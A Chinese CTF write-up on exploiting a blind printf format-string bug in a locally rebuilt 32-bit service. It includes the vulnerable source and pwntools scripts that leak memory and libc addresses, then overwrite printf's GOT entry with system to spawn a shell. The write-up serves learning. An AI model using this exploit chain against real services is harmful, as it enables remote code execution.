sigh

第一次盲打,没想到是格式化

参考http://paper.seebug.org/246/#0-tsina-1-87581-397232819ff9a47a7b7e80a40613cfe1 进行了学习

Vuln

输入什么,就返回什么,后来才知道是printf格式化(其实很容易想到的)

比赛后平台关了,本地模拟一下

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    char buf[1024];
    while(1)
    {
        memset(buf, '\0', 1024);
        read(0, buf, 1024);
        printf(buf);
        fflush(stdout);
    }
    return 0;
}
// gcc -m32 -o vuln_32fmt vuln_fmt.c
// socat tcp-listen:2333,reuseaddr,fork exec:./vuln32_fmt

首先需要猜测格式化的位置

    fake_addr_test = 'bbbb'
    for i in range(20):
        io = remote('127.0.0.1', 2333)
        padd_str = '%' + str(i) + '$x'
        padd_str = padd_str.ljust(8, 'a') + fake_addr_test
        try:
            io.send(padd_str)
        except EOFError:
            print 'send fmt error'
            pass
        try:
            io.recv()
        except EOFError:
            print 'none string'
            pass
        io.close()

最后i为13的时候正好输出bbbb对应的16进制值,接下来只要改成$s就能开始dump了

Dump

由于有printf格式化,第一步是dump程序,由于程序可能有PIE,所以只能猜测从0x8048000开始dump

def vdump_proc():
    vuln_start_addr = 0x8048000
    fp_dump = open('proc.dump', 'ab+')
    leakfunc_offset = 0
    while True:
        io = remote('127.0.0.1', 2333)
        padd_str = '%' + str(13) + '$s'
        padd_str = padd_str.ljust(8, 'a') + p32(vuln_start_addr+leakfunc_offset)
        io.send(padd_str)
        try:
            data = io.recvuntil('aaa')[:-3]
        except EOFError:
            print hex(leakfunc_offset)
            sys.exit(0)
        data += '\x00'
        leakfunc_offset += len(data)
        fp_dump.write(data)
        fp_dump.flush()
        io.close()

    fp_dump.close()

很明显,是不可能dump结束的,所以大概到地址0x804A100左右就停止

dump出来的程序可以看到got表和plt表,也能用ida分析,不过有些地方有些残缺

leak

本来用dynelf,不过实在是一直崩溃(太难用了吧)。看到有说可以leak出函数偏移之后,查libc版本。之前没有试过这种方法。。于是开始搜资料

github上找了一个超好用的 https://github.com/niklasb/libc-database

先./get更新一下

然后先leak出需要的函数

def mleak_ping(lk_address):
    padd_str = '%13$saaa' + p32(lk_address)
    io.send(padd_str)
    leaked_data = io.recvuntil('aaa')[:-3]
    io.clean()
    return leaked_data
read_addr = u32(mleak_ping(read_got)[:4])
print 'read address:', hex(read_addr)
printf_addr = u32(mleak_ping(printf_got)[:4])
print 'printf address:', hex(printf_addr)
raw_input('leak 2 functions??')

由于还要libc,然而dynelf各种不好用,就自己写了leak

base_addr_m = printf_addr & 0xFFFFF000
libc_base_addr = 0
while True:
    leaked_data = mleak_ping(base_addr_m)
    if len(leaked_data) >= 4:
        if '\x7fELF' in leaked_data:
            print 'libc_base:', hex(base_addr_m)
            break
    base_addr_m -= 0x1000

最后

read address: 0xf76a6980
printf address: 0xf761a670
libc_base: 0xf75d1000
// D5980
// 49670

下面查一下,其实就我机子上的libc

deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./find read d5980 printf 49670
archive-glibc (id libc6_2.23-0ubuntu5_i386)
deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./dump libc6_2.23-0ubuntu5_i386
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./dump libc6_2.23-0ubuntu5_i386 system
offset_system = 0x0003ada0

exp

最后exp学习使用了一下

def leak_fmt_off():
    auto_fmt = FmtStr(exec_fmt)
    print auto_fmt.offset

def vexp(system_addr):
    raw_input('continue?')
    payload = fmtstr_payload(11, {printf_got : system_addr})
    io.send(payload)
    io.sendline('/bin/sh')
    io.interactive()

system_addr = base_addr_m + 0x3ada0
vexp(system_addr)

这里11和之前不同,不是13,因为pwntools的发fmt和我之前测试的方式不一样。通过FmtStr可以确定是13。这样exp很方便了

results matching ""

    No results matching ""